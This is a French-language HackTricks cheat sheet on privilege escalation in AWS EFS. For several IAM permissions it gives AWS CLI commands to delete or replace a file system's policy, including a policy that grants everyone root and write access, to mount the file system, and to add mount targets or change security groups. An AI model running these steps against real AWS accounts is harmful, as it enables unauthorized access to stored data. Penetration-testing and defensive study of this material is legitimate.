AWS - EFS Privesc

Reading time: 4 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

EFS

Plus d'infos sur EFS dans :

AWS - EFS Enum

N'oubliez pas que pour monter un EFS, vous devez être dans un sous-réseau où l'EFS est exposé et y avoir accès (groupes de sécurité). Si cela se produit, par défaut, vous pourrez toujours le monter, cependant, s'il est protégé par des politiques IAM, vous devez avoir les autorisations supplémentaires mentionnées ici pour y accéder.

elasticfilesystem:DeleteFileSystemPolicy|elasticfilesystem:PutFileSystemPolicy

Avec l'une de ces autorisations, un attaquant peut changer la politique du système de fichiers pour vous donner accès à celui-ci, ou simplement le supprimer afin que l'accès par défaut soit accordé.

Pour supprimer la politique :

bash
aws efs delete-file-system-policy \
--file-system-id <value>

Pour le changer :

json
aws efs put-file-system-policy --file-system-id <fs-id> --policy file:///tmp/policy.json

// Give everyone trying to mount it read, write and root access
// policy.json:
{
"Version": "2012-10-17",
"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
"Statement": [
{
"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"elasticfilesystem:ClientRootAccess",
"elasticfilesystem:ClientWrite",
"elasticfilesystem:ClientMount"
],
"Condition": {
"Bool": {
"elasticfilesystem:AccessedViaMountTarget": "true"
}
}
}
]
}

elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)

Avec cette permission, un attaquant pourra monter l'EFS. Si la permission d'écriture n'est pas accordée par défaut à tous ceux qui peuvent monter l'EFS, il n'aura que l'accès en lecture.

bash
sudo mkdir /efs
sudo mount -t efs -o tls,iam  <file-system-id/EFS DNS name>:/ /efs/

Les autorisations supplémentaires elasticfilesystem:ClientRootAccess et elasticfilesystem:ClientWrite peuvent être utilisées pour écrire à l'intérieur du système de fichiers après qu'il ait été monté et pour accéder à ce système de fichiers en tant que root.

Impact potentiel : Privesc indirect en localisant des informations sensibles dans le système de fichiers.

elasticfilesystem:CreateMountTarget

Si un attaquant se trouve dans un sous-réseauaucun point de montage de l'EFS n'existe. Il pourrait simplement en créer un dans son sous-réseau avec ce privilège :

bash
# You need to indicate security groups that will grant the user access to port 2049
aws efs create-mount-target --file-system-id <fs-id> \
--subnet-id <value> \
--security-groups <value>

Impact potentiel : Privesc indirect en localisant des informations sensibles dans le système de fichiers.

elasticfilesystem:ModifyMountTargetSecurityGroups

Dans un scénario où un attaquant découvre que l'EFS a un point de montage dans son sous-réseau mais aucun groupe de sécurité n'autorise le trafic, il pourrait simplement changer cela en modifiant les groupes de sécurité sélectionnés :

bash
aws efs modify-mount-target-security-groups \
--mount-target-id <value> \
--security-groups <value>

Impact potentiel : Privesc indirect en localisant des informations sensibles dans le système de fichiers.

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks